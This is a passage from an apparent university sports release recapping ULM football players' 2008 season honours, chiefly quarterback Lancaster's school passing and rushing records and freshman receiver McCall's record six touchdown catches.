He ranked second in the Sun Belt with eight pass breakups and had the most tackles in the league with his 20 against North Texas.
Lancaster will go down as one of the most prolific signal callers in ULM history. He is ranked in the top five of five single-season and career records.
The Shreveport, La., native threw 18 touchdown passes this past season, the second most in the Sun Belt. His 18 scoring strikes are the most since Raymond Philyaw threw 22 in 1995 and ties him with Super Bowl quarterback Stan Humphries for the fourth most in school history. He also cracked the top 10 in pass completions in 2008 with 186.
Lancaster attempted a remarkable 173 consecutive passes over a seven-game period without an interception setting the ULM record in the process. His streak ranked second best in the nation at the time.
He finishes his career ranked fourth in completions (509), fourth in touchdown passes (38), fifth in pass attempts (881) and fifth in passing yards (5,769).
What made Lancaster an even more remarkable quarterback, was his ability to run the football. He finishes his career with 1,557 rushing yards, a mere 22 outside the ULM all-time top 10 and the most by a quarterback in school history. His 74-yard run at Middle Tennessee this year was the 13th longest in school history.
One of Lancaster's favorite targets was McCall. The Montgomery, Ala., native caught a ULM freshman record six touchdown passes. McCall is tied for ninth nationally among freshman wide receivers in the NCAA with his six touchdowns.
He led the Warhawks in touchdown receptions and was second on team among wide receivers in catches and yards. McCall jumped into the spotlight with his six catches for 125 yards and two touchdowns against Arkansas in the second week of the season.